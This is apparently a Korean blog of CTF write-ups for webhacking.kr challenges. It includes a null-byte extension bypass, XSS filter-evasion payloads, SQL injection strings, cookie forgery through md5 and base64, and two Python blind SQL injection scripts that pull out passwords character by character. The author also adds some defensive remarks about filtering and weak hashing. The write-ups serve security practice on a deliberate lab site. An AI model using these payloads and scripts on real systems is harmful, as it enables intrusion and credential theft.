늘모자란, 개발

늘모자란, 개발




이 문제는 불러오는 녀석의 취약점인데 많은 사이트들이 취하고 있는 다운로드 방법이라 할 수 있다.
일단 요 문제는 생긴게 아니라 URL을 봐야한다.

http://webhacking.kr/challenge/bonus/bonus-5/?file=hello


파일이 어디 저장되어있는지 감추고 싶을때, 요컨데 이런식으로 사용하는 것이다

(절대경로) (입력받은 파일의 이름) (절대확장자(fixed))
고로 이 경우엔 무조건 hello.txt라는 파일을 읽도록 디자인 되어 있음이 틀림없다. 고로 .txt 부분부터 무력화 하면 될것이다
보통은 이런 경우 공격을 위해 null을 사용한다.

이름.php\0.txt 꼴이 되게 하는건데 이런경우 txt까지 읽지 않고 앞의 확장자까지만 읽게 된다.
고로 요렇게 만들어줘서 리퀘스트를 해준다. null은 urlencode hardware 에서 검색해서 넣으면된다.

그럼 비밀번호가 나온다. Auth 해주고 점수를 챙기자. 절대 경로로 사용하는 요 방법은 상위 directory traversal 과 같은 공격으로 이어지기도 하니까, 필터링을 잘해야한다. 애초에 쓸데없는 null이나, ../ 이런건 필터링 해버려야한다
2016/03/31 15:29 2016/03/31 15:29


뭐 한것도 없는데 아이피가 틀렸다고 나온다.
이대론 뭘 해야할지 감도 안온다. 주석을 보니 index.phps를 보라고 되어 있다. 한번 보자

<?

extract($_SERVER);
extract($_COOKIE);

if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR];

$ip=$REMOTE_ADDR;
$agent=$HTTP_USER_AGENT;


if($_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}

echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");

if($ip=="127.0.0.1")
{
@solve();
}

else
{
echo("<p><hr><center>Wrong IP!</center><hr>");
}
?>



한줄씩 읽어보면
extract는 배열을 변수화 시켜주는것으로 SERVER와 COOKIE 값을 변수로 쓰겠다는거고, REMOTE_ADDR이 설정안되있으면 서버의 값에서 넣겠다는 말이다.

아이피를 로컬호스트 처럼 127.0.0.1 로 만들어야되는데 아파치가 받는 $_SERVER 변수를 속일 순 없다.
결국 $_COOKIE 구문의 필터링을 패스해야 solve되는데, cookie에서 필터링을 하고 있다.
REMOTE_ADDR이라는 쿠키를 만들어서 127.0.0.1 을 넣어보자 될린 없겠지만 결과나 보자.

생각보다 결과가 더 비참하다. 어떻게 해야 패스할 수 있을까?

127.0.0.1 을 입력하면 일단 12가 사라져서 7.0.0.1이 된다 그리고 7.이 사라져서 0.0.1이 되고 마지막으로 0.이 사라져서 1이 남는다
그렇다면 112277..00..00..1 이런식으로 입력하면 된다. 필터링은 딱 한번만 패스하기 되기때문이다.

쿠키에 값을 적어주고 패스하자. 사실 쉬운것처럼 적어놨지만 머리가 빡대가리라 한참고민했다... ㅡㅡ
2016/03/31 15:17 2016/03/31 15:17


JS challenge인것 같다.
스크립트를 끼워넣는건 XSS의 기본이므로 고심해보기로 하자
당연한 말이지만 그대로 넣으면 안된다. no hack이 우리를 반겨준다.

문제는 뭘 의미하는지 뻔하다. 브라우저의 똑똑함을 이용하는 것이다. 브라우저라는 놈은 원체 똑똑하면서 멍청해서, <scrip+t> 이런것도 그냥 script로 인식해서 돌려준다. 따라서 필터링 되있다면 그사이에 쓸데없는 단어를 끼워넣어 패스해볼것이다. 요컨데 이런 모양이다

<s c r i p t > alert(1);</ s c r i p t >


혹시 하는 마음에 <scri+pt> 로 해도 안된다. 뭐가 막혔을까? 전부 개행시켜줘봐도 안된다. 이정도 되면 공백이 필터링 됐다고 봐야한다.
그치만 우리는 urlencode hardware 로 뭔가 뛰어넘어본 사람들이다. 안쓰던걸 막 넣어서 돌려보자

<%00s%00c%00r%00i%00p%00t%00>alert(1);</%00s%00c%00r%00i%00p%00t%00>


대략 이런 느낌으로 만들어준다. alert도 땡기면 막 넣어준다.
뭐가 됐는진 모르겠는데 이미 패스했단다. 허무하다... 디버거툴을 쓰면 이런일이 발생한다....... 하여튼 패스.....
2016/03/31 15:01 2016/03/31 15:01


22번 문제는 500점쯤 되는 꽤 높은 점수의 문제이다.
일단 문제 모양을 보니 전에 난독화를 풀고 admin으로 회원가입하는 문제가 생각난다. 어쨌든 $id에 admin을 우겨넣어야겠다.

다만 요번엔 소스에 별 특이사항이 없다.


<html>
<head>
<title>Challenge 22</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
table { background:black; color:white; font-size:9pt; }
input { background:silver; color:black; font-size:9pt; }
a { color:lightgreen; }
</style>
</head>
<body>




<form method=post action=index.php>
<table border=1 cellpadding=5 cellspacing=0>
<tr><td>username</td><td><input name=id type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr align=center><td><input type=submit value='login'></td><td><input type=button value='join' onclick=location.href='?mode=join' style=width:100;></td></tr>
</form>

<p>

</table><br><br>
<pre>
<a style=background:silver;color:red;width:400;><b>HINT</b></a>
<a style=background:white;color:black;width:400;>
echo("hi! $id");
echo("your password is $pw");

if($id=="admin") echo("good! Password is $solution");
</a>
</pre>

</body>
</html>



메인도 평범하고,


<html>
<head>
<title>Challenge 22</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
table { background:black; color:white; font-size:9pt; }
input { background:silver; color:black; font-size:9pt; }
a { color:lightgreen; }
</style>
</head>
<body>


<form method=post action=index.php?mode=join>
<table border=1>
<tr><td>username</td><td><input name=id type=text></td></tr>
<tr><td>password</td><td><input name=pw type=password></td></tr>
<tr><td align=center colspan=2><input type=submit value='join'></td></tr>
</form>



회원가입도 평범하다. 이제 비집고 들어가보기 위해 이것저것 쳐보자.
'admin '으로 가입하니까 이미 있다고 나오길래, admi+n 으로 가입했는데 그냥 가입이 된다. 본문에서 공백을 따로 제거하지 않는 모양이다.
바로 될린 없으니 아쉽진않고, 공백을 쳐넣은다음에 로그인을 해보니 뭔가 만들어진다.



유저 키가 만들어졌다는데, md5인것 같다.
크랙해보기로 한다. 크랙은 여러번 나왔지만 여기서 하면 된다.
비밀번호를 1로 했는데, 1zombie 라는 값이라고 한다. zombie가 salt처럼 붙고, md5 처리되는걸로 생각할 수 있다.
근데 이걸로 딱히 뭘 할수는 없는것 같다. 이걸 일단 알고만 있자.

그림에선 your password 어쩌고 이렇게 나왔지만 결국 user key가 md5화되어 pw란에 저장되고 있다는것을 guess할 수 있다.
우리는 admin을 공략해야하니까 blind sql injection을 해야한다. id란에는 union이 no hack으로 필터되고 있기 때문에 여태 해왔던 방법처럼 한자리씩 대조해보자

우선 쿼리문은 이렇게 쓴다. 조금 다른점이 있다면 여지껏 뒷 문장을 주석처리 한적은 없으나 요번엔 내가 원하는데로 쿼리문을 잘라야하기때문에, 주석을 붙여서 뒷라인을 무력화해아한다. 주석은 --나, //, # 등이 있는데 일반적으로 #이 많이 쓰이는듯하다.

admin' and 1=1 #


위와같이 id에 값을 실어보내면 Wrong!이 아니라 Wrong password!가 뜬다. 이제 시작해보면 되겠지?
다만 이번 경우는 form값이 POST이기때문에 조금 다르게 해준다. 이번엔 ascii도 필터링되지 않아 hex로 변환도 필요없이 깔끔하게 구문을 만들 수 있다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,33):
    for j in range(48,123):
        url = 'http://webhacking.kr/challenge/bonus/bonus-2/index.php'
        data = "id=admin' and ascii(substr(pw,{},1))={}#".format(i,j)

        req = urllib2.Request(url, data, headers)
        response = urllib2.urlopen(req).read()

        if ("Wrong password!" in response):
            pw = pw + chr(j)
            break

print pw


좀 안타까운일이라면 여기엔 대문자가 없음에도 대문자를 검사해야한다. 아스키코드상으로 우선이기때문에.. 이건 처리하려면 처리할 수 있는 부분이지만 나는 그냥 돌렸다. 32자리의 md5 hash값을 얻으면 이곳에서 decrypt해보면 된다.
다만 아까 얻은 값에 zombie가 붙어있는데 우린 이 값이 salt임을 안다. 제거하면 비밀번호를 얻을 수 있다.

타이핑 해주면 패스..

이 문제는 사실 어떻게 보면 굉장히 민감한 내용이다.
패스워드 자리수를 추측하지 못하게 hash화 하는것은 굉장히 좋은 방법이며, salt를 추가한것도 아주 권장되는 방법이다.

다만, md5 와 sha1은 이미 cracking되어 문제풀이와 같이 아주 쉽게 박살낼 수 있다.
최근 문제가 된 뽐뿌의 경우도 md5로 패스워드를 보관했다하니 그냥 절단났다고 할 수 있다.
hash화 했다고 안심하지 말자!
2016/03/31 14:41 2016/03/31 14:41


이름부터 blind sql injection이라고 대문만하게 쓰여있다. 안그래도 잘 보여..

값을 0,1,2,3... 순서대로 넣어봤다. 문제 풀이와는 상관없고 그냥 넣어봤다.
0- No result
1- True
2- True
3~ False

왜 1과 2는 True인데 3부터는 false인가? 무엇이란말이지..
URL을보니까 no, id, pw를 받고 있긴했다. 소스상에도 hidden값으로 id, pw가 들어가 있긴했는데 인자는 no밖에 없고..
어쨌든 no가 T/F를 주니까 이녀석으로 알아내보도록 하자.

처음엔 길이를 알아내보자.

1 and length(id)={}
2 and length(id)={}

를 no의 파라미터에 준다. {} 는 숫자를... 값이 5일때 True가 나온다. 3부터는 뭘해도 False가 나온다.
즉, 앞서 1,2는 존재하는 row번호였다. 너무 찍어맞춘 기분이 있지만 -_- 문제는 문제일뿐이니까...?

다음으로 pw 길이로 알아보자

1 and length(pw)={}
2 and length(pw)={}


1일경우 5
2일경우 19

정답은 안봐도 2겠지만 역시 두개 다 해보기로 한다.

여지껏 많이 해왔던 한자리식 끊어서 보내기를 할 차례가 왔다
코드를 짜보자. 이제는 익숙해질것만 같은 똑같은 코드...

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,21):
    for j in range(32,123):
        url = 'http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=1+and+substr(pw,{},1)in({})&id=&pw='.format(i,hex(j))
        print url

        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("True" in response):
            pw = pw + chr(j)
            print chr(j)
            break
print pw


id부터 알아내는 과정을 거치면 되는데 이건 어련히 잘하리라 생각한다.

1번은 guest 아이디, 2번은 admin 아이디이다.
모두가 궁금할지도 모르겠지만 1번 row는 guest/guest니까 해보지 말고 그냥 19자리 풀길바란다.
auth에 19자리를 넣어주면 클리어!

2016/03/29 13:18 2016/03/29 13:18




뭔 타임리밋도 있고 프로그래밍도 하지말란다.
함부로 해선 안되는걸까? 소스를 읽도록 해보자


<html>
<head>
<title>Challenge 20</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body>
<center><font size=2>time limit : 2</font></center>
<form name=lv5frm method=post>
<table border=0>
<tr><td>nickname</td><td><input type=text name=id size=10 maxlength=10></td></tr>
<tr><td>comment</td><td><input type=text name=cmt size=50 maxlength=50></td></tr>
<tr><td>code</td><td><input type=text name=hack><input type=button name=attackme value="phtleynvtp"
 style=border:0;background=lightgreen onmouseover=this.style.font=size=30 onmouseout=this.style.font=size=15></td></tr>
<tr><td><input type=button value="Submit" onclick=ck()></td><td><input type=reset></td></tr>
</table>
<script>
function ck()
{

if(lv5frm.id.value=="") { lv5frm.id.focus(); return; }
if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; }
if(lv5frm.hack.value=="") { lv5frm.hack.focus(); return; }
if(lv5frm.hack.value!=lv5frm.attackme.value) { lv5frm.hack.focus(); return; }

lv5frm.submit();

}
</script>

<br>

do not programming!<br>

this is javascript challenge

</body>
</html>




서브밋을 누르면 ck가 돌아간다.
얼추 읽어보니 빈값이면 안되게 폼을 처리하고 있는데, 왜 프로그래밍하지 말라는줄 알겠다.

여튼 보면

서브밋을 누르고 나면 시간이 2초간 주어지는데 2초만에 한번 더 인증을 하면 된다.
다음과 같이 콘솔에다 쳐놓고 그냥 클릭하다 보면 된다...

lv5frm.id.value="1";
lv5frm.cmt.value="2";
lv5frm.hack.value=lv5frm.attackme.value;
lv5frm.submit();
2016/03/29 13:05 2016/03/29 13:05

admin으로 로그인하는 문제겠다.
당연한말이지만 클릭하면 안된다. 그리고 별다른 소스도 없다.

trim 취약점인가 해서 양옆, 앞, 뒤에 공백을 넣어보내봤는데 안된다.
무엇인가 고민을 하다가 그냥 값을 바꿔서 1을 넣고 누르니 화면이 바뀌었다.



아이디를 쓰는걸 보니 뭔가 느낌이 왔다. 쿠키를 열어보니 역시 userid라는 쿠키가 생성되어 있었다.

YzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWI=


base64로 인코드되어 있는데 풀어보니

c4ca4238a0b923820dcc509a6f75849b


가 나왔다. md5 아니면 sha1같은데, 글자수를 세보면 정확히 알겠지만 그냥 여기서 돌려봤다.
md5이고, 1이라는 글자란다. 이제 쿠키 조작해줄일만 남았다.

admin을 md5로 변환시키고,
21232f297a57a5a743894a0e4a801fc3


base64화 해준후
MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM=


쿠키를 조작해 끼워넣었..더니...안된다. error란다. 뭐지?!;
내가 너무 어렵게 생각했나 -_-

그래서 너무 돌아왔나 싶어서 admin에서 admi+n으로 보내봤다.
패스........쉬바....

가끔은 너무 어렵게 생각하지 말고 단순하게 봐야되는 것 같다..... 얼척이 없네 ㅋㅋㅋ
2016/03/29 12:55 2016/03/29 12:55


싱거운 문제들의 연속이다가 다시 sql injection이 나왔다.
시키는데로 index.phps를 보도록 하자.

<html>
<head>
<title>Challenge 18</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; }
a { color:lightgreen; }
</style>
</head>
<body>
<br><br>
<center><h1>SQL INJECTION</h1>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td><input type=text name=no></td><td><input type=submit></td></tr>
</table>
</form>
<a style=background:gray;color:black;width:100;font-size:9pt;><b>RESULT</b><br>
<?
if($_GET[no])
{

if(eregi(" |/|\(|\)|\t|\||&|union|select|from|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]"));

if($q[0]=="guest") echo ("hi guest");
if($q[0]=="admin")
{
@solve();
echo ("hi admin!");
}

}

?>
</a>
<br><br><a href=index.phps>index.phps</a>
</cener>
</body>
</html> 


no라는 파라미터를 받고..
eregi 로 필터링하고 있다. 뜬금없이 하는 말이지만 php7.0부터는 eregi 가 removed되었다. 쓰지말자.
쿼리문을 보면 이름부터 guest를 select하도록 되어있다. 그런데 우린 admin을 원한다. 따라서 이녀석을 깨야한다.
and값을 무효로 만들기 위해 일단 쓰레기값을 하나 넣는다. 그 뒤에 or을 넣어 새로운값을 select하도록 하자. 그리고 공백은 필터링되고 있으니, 여태 잘 써먹고 있는 %0a를 쓰자.

http://webhacking.kr/challenge/web/web-32/index.php?no=-1%0Aor%0Ano=2


solved!
2016/03/29 12:44 2016/03/29 12:44


문제가 똑같이 생기다보니 내가 쓴글에서 이미지를 재활용할 수 있다 오마이갓ㅋㅋㅋㅋ

<html>
<head>
<title>Challenge 17</title>
</head>
<body bgcolor=black>
<font color=red size=10></font>
<p>
<form name=login>
<input type=passwd name=pw><input type=button onclick=sub() value="check">


</form>



<script>

unlock=100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10-100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10/100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10*100*10*10+100/10-10+10+50-9*8+7-6+5-4*3-2*1*10+9999999999;

function sub(){ if(login.pw.value==unlock){ alert("Password is "+unlock/10); }else { alert("Wrong");  }}
</script>


보기만해도 현기증이 난다. 그치만 내가 누누히 강조하지만 요새 브라우저가 참 좋다.
console.log(unlock)을 개발자 콘솔에 쳐주고 그냥 넘어가자...
2016/03/29 12:35 2016/03/29 12:35


뜬금없이 별이 있다. 항상 문제를 보면 뜬금없는것 같다.

<html>
<head>
<title>Challenge 16</title>
<body bgcolor=black onload=kk(1,1) onkeypress=mv(event.keyCode)>
<font color=silver id=c></font>
<font color=yellow size=100 style=position:relative id=star>*</font>
<script> 
document.body.innerHTML+="<font color=yellow id=aa style=position:relative;left:0;top:0>*</font>";

function mv(cd)
{
kk(star.style.posLeft-50,star.style.posTop-50);
if(cd==100) star.style.posLeft=star.style.posLeft+50;
if(cd==97) star.style.posLeft=star.style.posLeft-50;
if(cd==119) star.style.posTop=star.style.posTop-50;
if(cd==115) star.style.posTop=star.style.posTop+50;
if(cd==124) location.href=String.fromCharCode(cd);
}


function kk(x,y)
{
rndc=Math.floor(Math.random()*9000000);
document.body.innerHTML+="<font color=#"+rndc+" id=aa style=position:relative;left:"+x+";top:"+y+" onmouseover=this.innerHTML=''>*</font>";
}

</script>
</body>
</html>




소스를 대강 보자.
body에 event가 걸려있다.
로드되면 kk(1,1)를 부르는데 kk는 9000000중 랜덤으로 하나를 뽑고 floor한다. 그러니까 즉 랜덤한 색을 고르는것이다. 인자로 받는 x,y는 좌표!
그리고 onkeypress에 뭘받던간에 mv를 콜하는데 별을 막 만들어낸다. 심심해서 좀 누르고 있어봤는데 좀 볼만하다. webhacking.kr에서 가장 예쁜 비주얼이 아닌가 싶다.


그리고 특이한게 마우스를 올리면 사라지게 되있다.
별? 꽃 구경은 그만하고. mv에 보면 location.href가 보인다. 저게 아마 최종골이려나 싶다.
body에서 onkeypress로 받는 event.KeyCode를 알아야 할 필요가 있다. 124는 무엇인가?
바로 or에 쓰는 | 라고 한다. 누른다. 해결된다.

이 문제는 IE에서 해야 정상작동이 된다 ㅡㅡ


2016/03/29 12:32 2016/03/29 12:32